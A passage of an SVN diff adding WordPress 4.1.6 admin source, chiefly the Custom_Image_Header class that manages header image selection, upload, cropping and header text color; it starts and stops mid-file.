+		$sizes = array_keys(apply_filters( 'image_size_names_choose', array('thumbnail' => __('Thumbnail'), 'medium' => __('Medium'), 'large' => __('Large'), 'full' => __('Full Size')) ));
+		$size = 'thumbnail';
+		if ( in_array( $_POST['size'], $sizes ) )
+			$size = esc_attr( $_POST['size'] );
+
+		update_post_meta( $attachment_id, '_wp_attachment_is_custom_background', get_option('stylesheet' ) );
+		$url = wp_get_attachment_image_src( $attachment_id, $size );
+		$thumbnail = wp_get_attachment_image_src( $attachment_id, 'thumbnail' );
+		set_theme_mod( 'background_image', esc_url_raw( $url[0] ) );
+		set_theme_mod( 'background_image_thumb', esc_url_raw( $thumbnail[0] ) );
+		exit;
+	}
+}
Index: /tags/4.1.6/src/wp-admin/custom-header.php
===================================================================
--- /tags/4.1.6/src/wp-admin/custom-header.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/custom-header.php	(revision 33402)
@@ -0,0 +1,1381 @@
+<?php
+/**
+ * The custom header image script.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/**
+ * The custom header image class.
+ *
+ * @since 2.1.0
+ * @package WordPress
+ * @subpackage Administration
+ */
+class Custom_Image_Header {
+
+	/**
+	 * Callback for administration header.
+	 *
+	 * @var callback
+	 * @since 2.1.0
+	 * @access private
+	 */
+	private $admin_header_callback;
+
+	/**
+	 * Callback for header div.
+	 *
+	 * @var callback
+	 * @since 3.0.0
+	 * @access private
+	 */
+	private $admin_image_div_callback;
+
+	/**
+	 * Holds default headers.
+	 *
+	 * @var array
+	 * @since 3.0.0
+	 * @access private
+	 */
+	private $default_headers = array();
+
+	/**
+	 * Holds custom headers uploaded by the user.
+	 *
+	 * @var array
+	 * @since 3.2.0
+	 * @access private
+	 */
+	private $uploaded_headers = array();
+
+	/**
+	 * Holds the page menu hook.
+	 *
+	 * @var string
+	 * @since 3.0.0
+	 * @access private
+	 */
+	private $page = '';
+
+	/**
+	 * @var bool
+	 */
+	private $updated;
+
+	/**
+	 * Constructor - Register administration header callback.
+	 *
+	 * @since 2.1.0
+	 * @param callback $admin_header_callback
+	 * @param callback $admin_image_div_callback Optional custom image div output callback.
+	 * @return Custom_Image_Header
+	 */
+	public function __construct($admin_header_callback, $admin_image_div_callback = '') {
+		$this->admin_header_callback = $admin_header_callback;
+		$this->admin_image_div_callback = $admin_image_div_callback;
+
+		add_action( 'admin_menu', array( $this, 'init' ) );
+
+		add_action( 'customize_save_after',         array( $this, 'customize_set_last_used' ) );
+		add_action( 'wp_ajax_custom-header-crop',   array( $this, 'ajax_header_crop'        ) );
+		add_action( 'wp_ajax_custom-header-add',    array( $this, 'ajax_header_add'         ) );
+		add_action( 'wp_ajax_custom-header-remove', array( $this, 'ajax_header_remove'      ) );
+	}
+
+	/**
+	 * Make private properties readable for backwards compatibility.
+	 *
+	 * @since 4.0.0
+	 * @access public
+	 *
+	 * @param string $name Property to get.
+	 * @return mixed Property.
+	 */
+	public function __get( $name ) {
+		return $this->$name;
+	}
+
+	/**
+	 * Make private properties settable for backwards compatibility.
+	 *
+	 * @since 4.0.0
+	 * @access public
+	 *
+	 * @param string $name  Property to set.
+	 * @param mixed  $value Property value.
+	 * @return mixed Newly-set property.
+	 */
+	public function __set( $name, $value ) {
+		return $this->$name = $value;
+	}
+
+	/**
+	 * Make private properties checkable for backwards compatibility.
+	 *
+	 * @since 4.0.0
+	 * @access public
+	 *
+	 * @param string $name Property to check if set.
+	 * @return bool Whether the property is set.
+	 */
+	public function __isset( $name ) {
+		return isset( $this->$name );
+	}
+
+	/**
+	 * Make private properties un-settable for backwards compatibility.
+	 *
+	 * @since 4.0.0
+	 * @access public
+	 *
+	 * @param string $name Property to unset.
+	 */
+	public function __unset( $name ) {
+		unset( $this->$name );
+	}
+
+	/**
+	 * Set up the hooks for the Custom Header admin page.
+	 *
+	 * @since 2.1.0
+	 */
+	public function init() {
+		if ( ! current_user_can('edit_theme_options') )
+			return;
+
+		$this->page = $page = add_theme_page(__('Header'), __('Header'), 'edit_theme_options', 'custom-header', array($this, 'admin_page'));
+
+		add_action("admin_print_scripts-$page", array($this, 'js_includes'));
+		add_action("admin_print_styles-$page", array($this, 'css_includes'));
+		add_action("admin_head-$page", array($this, 'help') );
+		add_action("admin_head-$page", array($this, 'take_action'), 50);
+		add_action("admin_head-$page", array($this, 'js'), 50);
+		if ( $this->admin_header_callback )
+			add_action("admin_head-$page", $this->admin_header_callback, 51);
+
+	}
+
+	/**
+	 * Adds contextual help.
+	 *
+	 * @since 3.0.0
+	 */
+	public function help() {
+		get_current_screen()->add_help_tab( array(
+			'id'      => 'overview',
+			'title'   => __('Overview'),
+			'content' =>
+				'<p>' . __( 'This screen is used to customize the header section of your theme.') . '</p>' .
+				'<p>' . __( 'You can choose from the theme&#8217;s default header images, or use one of your own. You can also customize how your Site Title and Tagline are displayed.') . '<p>'
+		) );
+
+		get_current_screen()->add_help_tab( array(
+			'id'      => 'set-header-image',
+			'title'   => __('Header Image'),
+			'content' =>
+				'<p>' . __( 'You can set a custom image header for your site. Simply upload the image and crop it, and the new header will go live immediately. Alternatively, you can use an image that has already been uploaded to your Media Library by clicking the &#8220;Choose Image&#8221; button.' ) . '</p>' .
+				'<p>' . __( 'Some themes come with additional header images bundled. If you see multiple images displayed, select the one you&#8217;d like and click the &#8220;Save Changes&#8221; button.' ) . '</p>' .
+				'<p>' . __( 'If your theme has more than one default header image, or you have uploaded more than one custom header image, you have the option of having WordPress display a randomly different image on each page of your site. Click the &#8220;Random&#8221; radio button next to the Uploaded Images or Default Images section to enable this feature.') . '</p>' .
+				'<p>' . __( 'If you don&#8217;t want a header image to be displayed on your site at all, click the &#8220;Remove Header Image&#8221; button at the bottom of the Header Image section of this page. If you want to re-enable the header image later, you just have to select one of the other image options and click &#8220;Save Changes&#8221;.') . '</p>'
+		) );
+
+		get_current_screen()->add_help_tab( array(
+			'id'      => 'set-header-text',
+			'title'   => __('Header Text'),
+			'content' =>
+				'<p>' . sprintf( __( 'For most themes, the header text is your Site Title and Tagline, as defined in the <a href="%1$s">General Settings</a> section.' ), admin_url( 'options-general.php' ) ) . '<p>' .
+				'<p>' . __( 'In the Header Text section of this page, you can choose whether to display this text or hide it. You can also choose a color for the text by clicking the Select Color button and either typing in a legitimate HTML hex value, e.g. &#8220;#ff0000&#8221; for red, or by choosing a color using the color picker.' ) . '</p>' .
+				'<p>' . __( 'Don&#8217;t forget to click &#8220;Save Changes&#8221; when you&#8217;re done!') . '</p>'
+		) );
+
+		get_current_screen()->set_help_sidebar(
+			'<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
+			'<p>' . __( '<a href="http://codex.wordpress.org/Appearance_Header_Screen" target="_blank">Documentation on Custom Header</a>' ) . '</p>' .
+			'<p>' . __( '<a href="https://wordpress.org/support/" target="_blank">Support Forums</a>' ) . '</p>'
+		);
+	}
+
+	/**
+	 * Get the current step.
+	 *
+	 * @since 2.6.0
+	 *
+	 * @return int Current step
+	 */
+	public function step() {
+		if ( ! isset( $_GET['step'] ) )
+			return 1;
+
+		$step = (int) $_GET['step'];
+		if ( $step < 1 || 3 < $step ||
+			( 2 == $step && ! wp_verify_nonce( $_REQUEST['_wpnonce-custom-header-upload'], 'custom-header-upload' ) ) ||
+			( 3 == $step && ! wp_verify_nonce( $_REQUEST['_wpnonce'], 'custom-header-crop-image' ) )
+		)
+			return 1;
+
+		return $step;
+	}
+
+	/**
+	 * Set up the enqueue for the JavaScript files.
+	 *
+	 * @since 2.1.0
+	 */
+	public function js_includes() {
+		$step = $this->step();
+
+		if ( ( 1 == $step || 3 == $step ) ) {
+			wp_enqueue_media();
+			wp_enqueue_script( 'custom-header' );
+			if ( current_theme_supports( 'custom-header', 'header-text' ) )
+				wp_enqueue_script( 'wp-color-picker' );
+		} elseif ( 2 == $step ) {
+			wp_enqueue_script('imgareaselect');
+		}
+	}
+
+	/**
+	 * Set up the enqueue for the CSS files
+	 *
+	 * @since 2.7.0
+	 */
+	public function css_includes() {
+		$step = $this->step();
+
+		if ( ( 1 == $step || 3 == $step ) && current_theme_supports( 'custom-header', 'header-text' ) )
+			wp_enqueue_style( 'wp-color-picker' );
+		elseif ( 2 == $step )
+			wp_enqueue_style('imgareaselect');
+	}
+
+	/**
+	 * Execute custom header modification.
+	 *
+	 * @since 2.6.0
+	 */
+	public function take_action() {
+		if ( ! current_user_can('edit_theme_options') )
+			return;
+
+		if ( empty( $_POST ) )
+			return;
+
+		$this->updated = true;
+
+		if ( isset( $_POST['resetheader'] ) ) {
+			check_admin_referer( 'custom-header-options', '_wpnonce-custom-header-options' );
+			$this->reset_header_image();
+			return;
+		}
+
+		if ( isset( $_POST['removeheader'] ) ) {
+			check_admin_referer( 'custom-header-options', '_wpnonce-custom-header-options' );
+			$this->remove_header_image();
+			return;
+		}
+
+		if ( isset( $_POST['text-color'] ) && ! isset( $_POST['display-header-text'] ) ) {
+			check_admin_referer( 'custom-header-options', '_wpnonce-custom-header-options' );
+			set_theme_mod( 'header_textcolor', 'blank' );
+		} elseif ( isset( $_POST['text-color'] ) ) {
+			check_admin_referer( 'custom-header-options', '_wpnonce-custom-header-options' );
+			$_POST['text-color'] = str_replace( '#', '', $_POST['text-color'] );
+			$color = preg_replace('/[^0-9a-fA-F]/', '', $_POST['text-color']);
+			if ( strlen($color) == 6 || strlen($color) == 3 )
+				set_theme_mod('header_textcolor', $color);
+			elseif ( ! $color )
+				set_theme_mod( 'header_textcolor', 'blank' );
+		}
+
+		if ( isset( $_POST['default-header'] ) ) {
+			check_admin_referer( 'custom-header-options', '_wpnonce-custom-header-options' );
+			$this->set_header_image( $_POST['default-header'] );
+			return;
+		}
+	}
+
+	/**
+	 * Process the default headers
+	 *
+	 * @since 3.0.0
+	 */
+	public function process_default_headers() {
+		global $_wp_default_headers;
+
+		if ( !isset($_wp_default_headers) )
+			return;
+
+		if ( ! empty( $this->default_headers ) ) {
+			return;
+		}
+
+		$this->default_headers = $_wp_default_headers;
+		$template_directory_uri = get_template_directory_uri();
+		$stylesheet_directory_uri = get_stylesheet_directory_uri();
+		foreach ( array_keys($this->default_headers) as $header ) {
+			$this->default_headers[$header]['url'] =  sprintf( $this->default_headers[$header]['url'], $template_directory_uri, $stylesheet_directory_uri );
+			$this->default_headers[$header]['thumbnail_url'] =  sprintf( $this->default_headers[$header]['thumbnail_url'], $template_directory_uri, $stylesheet_directory_uri );
+		}
+	}
+
+	/**
+	 * Display UI for selecting one of several default headers.
+	 *
+	 * Show the random image option if this theme has multiple header images.
+	 * Random image option is on by default if no header has been set.
+	 *
+	 * @since 3.0.0
+	 */
+	public function show_header_selector( $type = 'default' ) {
+		if ( 'default' == $type ) {
+			$headers = $this->default_headers;
+		} else {
+			$headers = get_uploaded_header_images();
+			$type = 'uploaded';
+		}
+
+		if ( 1 < count( $headers ) ) {
+			echo '<div class="random-header">';
+			echo '<label><input name="default-header" type="radio" value="random-' . $type . '-image"' . checked( is_random_header_image( $type ), true, false ) . ' />';
+			echo __( '<strong>Random:</strong> Show a different image on each page.' );
+			echo '</label>';
+			echo '</div>';
+		}
+
+		echo '<div class="available-headers">';
+		foreach ( $headers as $header_key => $header ) {
+			$header_thumbnail = $header['thumbnail_url'];
+			$header_url = $header['url'];
+			$header_desc = empty( $header['description'] ) ? '' : $header['description'];
+			echo '<div class="default-header">';
+			echo '<label><input name="default-header" type="radio" value="' . esc_attr( $header_key ) . '" ' . checked( $header_url, get_theme_mod( 'header_image' ), false ) . ' />';
+			$width = '';
+			if ( !empty( $header['attachment_id'] ) )
+				$width = ' width="230"';
+			echo '<img src="' . set_url_scheme( $header_thumbnail ) . '" alt="' . esc_attr( $header_desc ) .'" title="' . esc_attr( $header_desc ) . '"' . $width . ' /></label>';
+			echo '</div>';
+		}
+		echo '<div class="clear"></div></div>';
+	}
+
+	/**
+	 * Execute JavaScript depending on step.
+	 *
+	 * @since 2.1.0
+	 */
+	public function js() {
+		$step = $this->step();
+		if ( ( 1 == $step || 3 == $step ) && current_theme_supports( 'custom-header', 'header-text' ) )
+			$this->js_1();
+		elseif ( 2 == $step )
+			$this->js_2();
+	}
+
+	/**
+	 * Display JavaScript based on Step 1 and 3.
+	 *
+	 * @since 2.6.0
+	 */
+	public function js_1() {
+		$default_color = '';
+		if ( current_theme_supports( 'custom-header', 'default-text-color' ) ) {
+			$default_color = get_theme_support( 'custom-header', 'default-text-color' );
+			if ( $default_color && false === strpos( $default_color, '#' ) ) {
+				$default_color = '#' . $default_color;
+			}
+		}
+		?>
+
+<script type="text/javascript">
+/* <![CDATA[ */
+(function($){
+	var default_color = '<?php echo $default_color; ?>',
+		header_text_fields;
+
+	function pickColor(color) {
+		$('#name').css('color', color);
+		$('#desc').css('color', color);
+		$('#text-color').val(color);
+	}
+
+	function toggle_text() {
+		var checked = $('#display-header-text').prop('checked'),
+			text_color;
+		header_text_fields.toggle( checked );
+		if ( ! checked )
+			return;
+		text_color = $('#text-color');
+		if ( '' == text_color.val().replace('#', '') ) {
+			text_color.val( default_color );
+			pickColor( default_color );
+		} else {
+			pickColor( text_color.val() );
+		}
+	}
+
+	$(document).ready(function() {
+		var text_color = $('#text-color');
+		header_text_fields = $('.displaying-header-text');
+		text_color.wpColorPicker({
+			change: function( event, ui ) {
+				pickColor( text_color.wpColorPicker('color') );
+			},
+			clear: function() {
+				pickColor( '' );
+			}
+		});
+		$('#display-header-text').click( toggle_text );
+		<?php if ( ! display_header_text() ) : ?>
+		toggle_text();
+		<?php endif; ?>
+	});
+})(jQuery);
+/* ]]> */
+</script>
+<?php
+	}
+
+	/**
+	 * Display JavaScript based on Step 2.
+	 *
+	 * @since 2.6.0
+	 */
+	public function js_2() { ?>
+<script type="text/javascript">
+/* <![CDATA[ */
+	function onEndCrop( coords ) {
+		jQuery( '#x1' ).val(coords.x);
+		jQuery( '#y1' ).val(coords.y);
+		jQuery( '#width' ).val(coords.w);
+		jQuery( '#height' ).val(coords.h);
+	}
+
+	jQuery(document).ready(function() {
+		var xinit = <?php echo absint( get_theme_support( 'custom-header', 'width' ) ); ?>;
+		var yinit = <?php echo absint( get_theme_support( 'custom-header', 'height' ) ); ?>;
+		var ratio = xinit / yinit;
+		var ximg = jQuery('img#upload').width();
+		var yimg = jQuery('img#upload').height();
+
+		if ( yimg < yinit || ximg < xinit ) {
+			if ( ximg / yimg > ratio ) {
+				yinit = yimg;
+				xinit = yinit * ratio;
+			} else {
+				xinit = ximg;
+				yinit = xinit / ratio;
+			}
+		}
+
+		jQuery('img#upload').imgAreaSelect({
+			handles: true,
+			keys: true,
+			show: true,
+			x1: 0,
+			y1: 0,
+			x2: xinit,
+			y2: yinit,
+			<?php
+			if ( ! current_theme_supports( 'custom-header', 'flex-height' ) && ! current_theme_supports( 'custom-header', 'flex-width' ) ) {
+			?>
+			aspectRatio: xinit + ':' + yinit,
+			<?php
+			}
+			if ( ! current_theme_supports( 'custom-header', 'flex-height' ) ) {
+			?>
+			maxHeight: <?php echo get_theme_support( 'custom-header', 'height' ); ?>,
+			<?php
+			}
+			if ( ! current_theme_supports( 'custom-header', 'flex-width' ) ) {
+			?>
+			maxWidth: <?php echo get_theme_support( 'custom-header', 'width' ); ?>,
+			<?php
+			}
+			?>
+			onInit: function () {
+				jQuery('#width').val(xinit);
+				jQuery('#height').val(yinit);
+			},
+			onSelectChange: function(img, c) {
+				jQuery('#x1').val(c.x1);
+				jQuery('#y1').val(c.y1);
+				jQuery('#width').val(c.width);
+				jQuery('#height').val(c.height);
+			}
+		});
+	});
+/* ]]> */
+</script>
+<?php
+	}
+
+	/**
+	 * Display first step of custom header image page.
+	 *
+	 * @since 2.1.0
+	 */
+	public function step_1() {
+		$this->process_default_headers();
+?>
+
+<div class="wrap">
+<h2><?php _e( 'Custom Header' ); ?></h2>
+
+<?php if ( current_user_can( 'customize' ) ) { ?>
+<div class="notice notice-info hide-if-no-customize">
+	<p>
+		<?php
+		printf(
+			__( 'You can now manage and live-preview Custom Header in the <a href="%1$s">Customizer</a>.' ),
+			admin_url( 'customize.php?autofocus[control]=header_image' )
+		);
+		?>
+	</p>
+</div>
+<?php } ?>
+
+<?php if ( ! empty( $this->updated ) ) { ?>
+<div id="message" class="updated">
+<p><?php printf( __( 'Header updated. <a href="%s">Visit your site</a> to see how it looks.' ), home_url( '/' ) ); ?></p>
+</div>
+<?php } ?>
+
+<h3><?php _e( 'Header Image' ); ?></h3>
+
+<table class="form-table">
+<tbody>
+
+<?php if ( get_custom_header() || display_header_text() ) : ?>
+<tr>
+<th scope="row"><?php _e( 'Preview' ); ?></th>
+<td>
+	<?php
+	if ( $this->admin_image_div_callback ) {
+		call_user_func( $this->admin_image_div_callback );
+	} else {
+		$custom_header = get_custom_header();
+		$header_image_style = 'background-image:url(' . esc_url( get_header_image() ) . ');';
+		if ( $custom_header->width )
+			$header_image_style .= 'max-width:' . $custom_header->width . 'px;';
+		if ( $custom_header->height )
+			$header_image_style .= 'height:' . $custom_header->height . 'px;';
+	?>
+	<div id="headimg" style="<?php echo $header_image_style; ?>">
+		<?php
+		if ( display_header_text() )
+			$style = ' style="color:#' . get_header_textcolor() . ';"';
+		else
+			$style = ' style="display:none;"';
+		?>
+		<h1><a id="name" class="displaying-header-text" <?php echo $style; ?> onclick="return false;" href="<?php bloginfo('url'); ?>" tabindex="-1"><?php bloginfo( 'name' ); ?></a></h1>
+		<div id="desc" class="displaying-header-text" <?php echo $style; ?>><?php bloginfo( 'description' ); ?></div>
+	</div>
+	<?php } ?>
+</td>
+</tr>
+<?php endif; ?>
+
+<?php if ( current_theme_supports( 'custom-header', 'uploads' ) ) : ?>
+<tr>
+<th scope="row"><?php _e( 'Select Image' ); ?></th>
+<td>
+	<p><?php _e( 'You can select an image to be shown at the top of your site by uploading from your computer or choosing from your media library. After selecting an image you will be able to crop it.' ); ?><br />
+	<?php
+	if ( ! current_theme_supports( 'custom-header', 'flex-height' ) && ! current_theme_supports( 'custom-header', 'flex-width' ) ) {
+		printf( __( 'Images of exactly <strong>%1$d &times; %2$d pixels</strong> will be used as-is.' ) . '<br />', get_theme_support( 'custom-header', 'width' ), get_theme_support( 'custom-header', 'height' ) );
+	} elseif ( current_theme_supports( 'custom-header', 'flex-height' ) ) {
+		if ( ! current_theme_supports( 'custom-header', 'flex-width' ) )
+			printf( __( 'Images should be at least <strong>%1$d pixels</strong> wide.' ) . ' ', get_theme_support( 'custom-header', 'width' ) );
+	} elseif ( current_theme_supports( 'custom-header', 'flex-width' ) ) {
+		if ( ! current_theme_supports( 'custom-header', 'flex-height' ) )
+			printf( __( 'Images should be at least <strong>%1$d pixels</strong> tall.' ) . ' ', get_theme_support( 'custom-header', 'height' ) );
+	}
+	if ( current_theme_supports( 'custom-header', 'flex-height' ) || current_theme_supports( 'custom-header', 'flex-width' ) ) {
+		if ( current_theme_supports( 'custom-header', 'width' ) )
+			printf( __( 'Suggested width is <strong>%1$d pixels</strong>.' ) . ' ', get_theme_support( 'custom-header', 'width' ) );
+		if ( current_theme_supports( 'custom-header', 'height' ) )
+			printf( __( 'Suggested height is <strong>%1$d pixels</strong>.' ) . ' ', get_theme_support( 'custom-header', 'height' ) );
+	}
+	?></p>
+	<form enctype="multipart/form-data" id="upload-form" class="wp-upload-form" method="post" action="<?php echo esc_url( add_query_arg( 'step', 2 ) ) ?>">
+	<p>
+		<label for="upload"><?php _e( 'Choose an image from your computer:' ); ?></label><br />
+		<input type="file" id="upload" name="import" />
+		<input type="hidden" name="action" value="save" />
+		<?php wp_nonce_field( 'custom-header-upload', '_wpnonce-custom-header-upload' ); ?>
+		<?php submit_button( __( 'Upload' ), 'button', 'submit', false ); ?>
+	</p>
+	<?php
+		$modal_update_href = esc_url( add_query_arg( array(
+			'page' => 'custom-header',
+			'step' => 2,
+			'_wpnonce-custom-header-upload' => wp_create_nonce('custom-header-upload'),
+		), admin_url('themes.php') ) );
+	?>
+	<p>
+		<label for="choose-from-library-link"><?php _e( 'Or choose an image from your media library:' ); ?></label><br />
+		<button id="choose-from-library-link" class="button"
+			data-update-link="<?php echo esc_attr( $modal_update_href ); ?>"
+			data-choose="<?php esc_attr_e( 'Choose a Custom Header' ); ?>"
+			data-update="<?php esc_attr_e( 'Set as header' ); ?>"><?php _e( 'Choose Image' ); ?></button>
+	</p>
+	</form>
+</td>
+</tr>
+<?php endif; ?>
+</tbody>
+</table>
+
+<form method="post" action="<?php echo esc_url( add_query_arg( 'step', 1 ) ) ?>">
+<?php submit_button( null, 'screen-reader-text', 'save-header-options', false ); ?>
+<table class="form-table">
+<tbody>
+	<?php if ( get_uploaded_header_images() ) : ?>
+<tr>
+<th scope="row"><?php _e( 'Uploaded Images' ); ?></th>
+<td>
+	<p><?php _e( 'You can choose one of your previously uploaded headers, or show a random one.' ) ?></p>
+	<?php
+		$this->show_header_selector( 'uploaded' );
+	?>
+</td>
+</tr>
+	<?php endif;
+	if ( ! empty( $this->default_headers ) ) : ?>
+<tr>
+<th scope="row"><?php _e( 'Default Images' ); ?></th>
+<td>
+<?php if ( current_theme_supports( 'custom-header', 'uploads' ) ) : ?>
+	<p><?php _e( 'If you don&lsquo;t want to upload your own image, you can use one of these cool headers, or show a random one.' ) ?></p>
+<?php else: ?>
+	<p><?php _e( 'You can use one of these cool headers or show a random one on each page.' ) ?></p>
+<?php endif; ?>
+	<?php
+		$this->show_header_selector( 'default' );
+	?>
+</td>
+</tr>
+	<?php endif;
+	if ( get_header_image() ) : ?>
+<tr>
+<th scope="row"><?php _e( 'Remove Image' ); ?></th>
+<td>
+	<p><?php _e( 'This will remove the header image. You will not be able to restore any customizations.' ) ?></p>
+	<?php submit_button( __( 'Remove Header Image' ), 'button', 'removeheader', false ); ?>
+</td>
+</tr>
+	<?php endif;
+
+	$default_image = get_theme_support( 'custom-header', 'default-image' );
+	if ( $default_image && get_header_image() != $default_image ) : ?>
+<tr>
+<th scope="row"><?php _e( 'Reset Image' ); ?></th>
+<td>
+	<p><?php _e( 'This will restore the original header image. You will not be able to restore any customizations.' ) ?></p>
+	<?php submit_button( __( 'Restore Original Header Image' ), 'button', 'resetheader', false ); ?>
+</td>
+</tr>
+	<?php endif; ?>
+</tbody>
+</table>
+
+<?php if ( current_theme_supports( 'custom-header', 'header-text' ) ) : ?>
+
+<h3><?php _e( 'Header Text' ); ?></h3>
+
+<table class="form-table">
+<tbody>
+<tr>
+<th scope="row"><?php _e( 'Header Text' ); ?></th>
+<td>
+	<p>
+	<label><input type="checkbox" name="display-header-text" id="display-header-text"<?php checked( display_header_text() ); ?> /> <?php _e( 'Show header text with your image.' ); ?></label>
+	</p>
+</td>
+</tr>
+
+<tr class="displaying-header-text">
+<th scope="row"><?php _e( 'Text Color' ); ?></th>
+<td>
+	<p>
+	<?php
+	$default_color = '';
+	if ( current_theme_supports( 'custom-header', 'default-text-color' ) ) {
+		$default_color = get_theme_support( 'custom-header', 'default-text-color' );
+		if ( $default_color && false === strpos( $default_color, '#' ) ) {
+			$default_color = '#' . $default_color;
+		}
+	}
+
+	$default_color_attr = $default_color ? ' data-default-color="' . esc_attr( $default_color ) . '"' : '';
+
+	$header_textcolor = display_header_text() ? get_header_textcolor() : get_theme_support( 'custom-header', 'default-text-color' );
+	if ( $header_textcolor && false === strpos( $header_textcolor, '#' ) ) {
+		$header_textcolor = '#' . $header_textcolor;
+	}
+
+	echo '<input type="text" name="text-color" id="text-color" value="' . esc_attr( $header_textcolor ) . '"' . $default_color_attr . ' />';
+	if ( $default_color ) {
+		echo ' <span class="description hide-if-js">' . sprintf( _x( 'Default: %s', 'color' ), esc_html( $default_color ) ) . '</span>';
+	}
+	?>
+	</p>
+</td>
+</tr>
+</tbody>
+</table>
+<?php endif;
+
+/**
+ * Fires just before the submit button in the custom header options form.
+ *
+ * @since 3.1.0
+ */
+do_action( 'custom_header_options' );
+
+wp_nonce_field( 'custom-header-options', '_wpnonce-custom-header-options' ); ?>
+
+<?php submit_button( null, 'primary', 'save-header-options' ); ?>
+</form>
+</div>
+
+<?php }
+
+	/**
+	 * Display second step of custom header image page.
+	 *
+	 * @since 2.1.0
+	 */
+	public function step_2() {
+		check_admin_referer('custom-header-upload', '_wpnonce-custom-header-upload');
+		if ( ! current_theme_supports( 'custom-header', 'uploads' ) )
+			wp_die( __( 'Cheatin&#8217; uh?' ), 403 );
+
+		if ( empty( $_POST ) && isset( $_GET['file'] ) ) {
+			$attachment_id = absint( $_GET['file'] );
+			$file = get_attached_file( $attachment_id, true );
+			$url = wp_get_attachment_image_src( $attachment_id, 'full' );
+			$url = $url[0];
+		} elseif ( isset( $_POST ) ) {
+			$data = $this->step_2_manage_upload();
+			$attachment_id = $data['attachment_id'];
+			$file = $data['file'];
+			$url = $data['url'];
+		}
+
+		if ( file_exists( $file ) ) {
+			list( $width, $height, $type, $attr ) = getimagesize( $file );
+		} else {
+			$data = wp_get_attachment_metadata( $attachment_id );
+			$height = isset( $data[ 'height' ] ) ? $data[ 'height' ] : 0;
+			$width = isset( $data[ 'width' ] ) ? $data[ 'width' ] : 0;
+			unset( $data );
+		}
+
+		$max_width = 0;
+		// For flex, limit size of image displayed to 1500px unless theme says otherwise
+		if ( current_theme_supports( 'custom-header', 'flex-width' ) )
+			$max_width = 1500;
+
+		if ( current_theme_supports( 'custom-header', 'max-width' ) )
+			$max_width = max( $max_width, get_theme_support( 'custom-header', 'max-width' ) );
+		$max_width = max( $max_width, get_theme_support( 'custom-header', 'width' ) );
+
+		// If flexible height isn't supported and the image is the exact right size
+		if ( ! current_theme_supports( 'custom-header', 'flex-height' ) && ! current_theme_supports( 'custom-header', 'flex-width' )
+			&& $width == get_theme_support( 'custom-header', 'width' ) && $height == get_theme_support( 'custom-header', 'height' ) )
+		{
+			// Add the meta-data
+			if ( file_exists( $file ) )
+				wp_update_attachment_metadata( $attachment_id, wp_generate_attachment_metadata( $attachment_id, $file ) );
+
+			$this->set_header_image( compact( 'url', 'attachment_id', 'width', 'height' ) );
+
+			/**
+			 * Fires after the header image is set or an error is returned.
+			 *
+			 * @since 2.1.0
+			 *
+			 * @param string $file          Path to the file.
+			 * @param int    $attachment_id Attachment ID.
+			 */
+			do_action( 'wp_create_file_in_uploads', $file, $attachment_id ); // For replication
+
+			return $this->finished();
+		} elseif ( $width > $max_width ) {
+			$oitar = $width / $max_width;
+			$image = wp_crop_image($attachment_id, 0, 0, $width, $height, $max_width, $height / $oitar, false, str_replace(basename($file), 'midsize-'.basename($file), $file));
+			if ( ! $image || is_wp_error( $image ) )
+				wp_die( __( 'Image could not be processed. Please go back and try again.' ), __( 'Image Processing Error' ) );
+
+			/** This filter is documented in wp-admin/custom-header.php */
+			$image = apply_filters( 'wp_create_file_in_uploads', $image, $attachment_id ); // For replication
+
+			$url = str_replace(basename($url), basename($image), $url);
+			$width = $width / $oitar;
+			$height = $height / $oitar;
+		} else {
+			$oitar = 1;
+		}
+		?>
+
+<div class="wrap">
+<h2><?php _e( 'Crop Header Image' ); ?></h2>
+
+<form method="post" action="<?php echo esc_url(add_query_arg('step', 3)); ?>">
+	<p class="hide-if-no-js"><?php _e('Choose the part of the image you want to use as your header.'); ?></p>
+	<p class="hide-if-js"><strong><?php _e( 'You need Javascript to choose a part of the image.'); ?></strong></p>
+
+	<div id="crop_image" style="position: relative">
+		<img src="<?php echo esc_url( $url ); ?>" id="upload" width="<?php echo $width; ?>" height="<?php echo $height; ?>" />
+	</div>
+
+	<input type="hidden" name="x1" id="x1" value="0"/>
+	<input type="hidden" name="y1" id="y1" value="0"/>
+	<input type="hidden" name="width" id="width" value="<?php echo esc_attr( $width ); ?>"/>
+	<input type="hidden" name="height" id="height" value="<?php echo esc_attr( $height ); ?>"/>
+	<input type="hidden" name="attachment_id" id="attachment_id" value="<?php echo esc_attr( $attachment_id ); ?>" />
+	<input type="hidden" name="oitar" id="oitar" value="<?php echo esc_attr( $oitar ); ?>" />
+	<?php if ( empty( $_POST ) && isset( $_GET['file'] ) ) { ?>
+	<input type="hidden" name="create-new-attachment" value="true" />
+	<?php } ?>
+	<?php wp_nonce_field( 'custom-header-crop-image' ) ?>
+
+	<p class="submit">
+	<?php submit_button( __( 'Crop and Publish' ), 'primary', 'submit', false ); ?>
+	<?php
+	if ( isset( $oitar ) && 1 == $oitar && ( current_theme_supports( 'custom-header', 'flex-height' ) || current_theme_supports( 'custom-header', 'flex-width' ) ) )
+		submit_button( __( 'Skip Cropping, Publish Image as Is' ), 'secondary', 'skip-cropping', false );
+	?>
+	</p>
+</form>
+</div>
+		<?php
+	}
+
+
+	/**
+	 * Upload the file to be cropped in the second step.
+	 *
+	 * @since 3.4.0
+	 */
+	public function step_2_manage_upload() {
+		$overrides = array('test_form' => false);
+
+		$uploaded_file = $_FILES['import'];
+		$wp_filetype = wp_check_filetype_and_ext( $uploaded_file['tmp_name'], $uploaded_file['name'], false );
+		if ( ! wp_match_mime_types( 'image', $wp_filetype['type'] ) )
+			wp_die( __( 'The uploaded file is not a valid image. Please try again.' ) );
+
+		$file = wp_handle_upload($uploaded_file, $overrides);
+
+		if ( isset($file['error']) )
+			wp_die( $file['error'],  __( 'Image Upload Error' ) );
+
+		$url = $file['url'];
+		$type = $file['type'];
+		$file = $file['file'];
+		$filename = basename($file);
+
+		// Construct the object array
+		$object = array(
+			'post_title'     => $filename,
+			'post_content'   => $url,
+			'post_mime_type' => $type,
+			'guid'           => $url,
+			'context'        => 'custom-header'
+		);
+
+		// Save the data
+		$attachment_id = wp_insert_attachment( $object, $file );
+		return compact( 'attachment_id', 'file', 'filename', 'url', 'type' );
+	}
+
+	/**
+	 * Display third step of custom header image page.
+	 *
+	 * @since 2.1.0
+	 */
+	public function step_3() {
+		check_admin_referer( 'custom-header-crop-image' );
+
